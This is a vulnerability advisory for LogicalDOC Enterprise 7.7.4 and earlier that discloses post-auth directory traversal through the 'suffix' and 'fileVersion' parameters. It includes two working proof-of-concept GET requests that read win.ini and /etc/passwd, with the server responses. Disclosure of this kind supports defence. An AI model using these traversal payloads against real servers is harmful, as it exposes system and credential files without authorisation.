LogicalDOC Enterprise 7.7.4 Multiple Directory Traversal Vulnerabilities

Risk: Medium
Local: No
Remote: Yes

LogicalDOC Enterprise 7.7.4 Multiple Directory Traversal Vulnerabilities Vendor: LogicalDOC Srl Product web page: https://www.logicaldoc.com Affected version: 7.7.4 7.7.3 7.7.2 7.7.1 7.6.4 7.6.2 7.5.1 7.4.2 7.1.1 Summary: LogicalDOC is a free document management system that is designed to handle and share documents within an organization. LogicalDOC is a content repository, with Lucene indexing, Activiti workflow, and a set of automatic import procedures. Desc: The application suffers from multiple post-auth file disclosure vulnerability when input passed thru the 'suffix' and 'fileVersion' parameters is not properly verified before being used to include files. This can be exploited to read arbitrary files from local resources with directory traversal attacks. Tested on: Microsoft Windows 10 Linux Ubuntu 16.04 Java 1.8.0_161 Apache-Coyote/1.1 Apache Tomcat/8.5.24 Apache Tomcat/8.5.13 Undisclosed 8.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5450 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5450.php 26.01.2018 --- PoC #1: GET /thumbnail?docId=3375114&random=1517220341243&suffix=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1 Host: localhost:8080 Response: ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo PoC #2: GET /convertpdf?docId=2450&control=preview&fileVersion=../../../../../../etc/passwd HTTP/1.1 Host: localhozt:8080 Response: HTTP/1.1 200 Cache-Control: must-revalidate, post-check=0,pre-check=0 Expires: 0 Content-Disposition: attachment; filename="=?UTF-8?B?MDkyMDEyMzEwNTVTUFQgMDA0LnBkZi5wZGY=?=" Pragma: public Content-Type: application/pdf;charset=UTF-8 Content-Length: 964 Date: Mon, 05 Feb 2018 21:30:59 GMT Connection: close root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh ... ...



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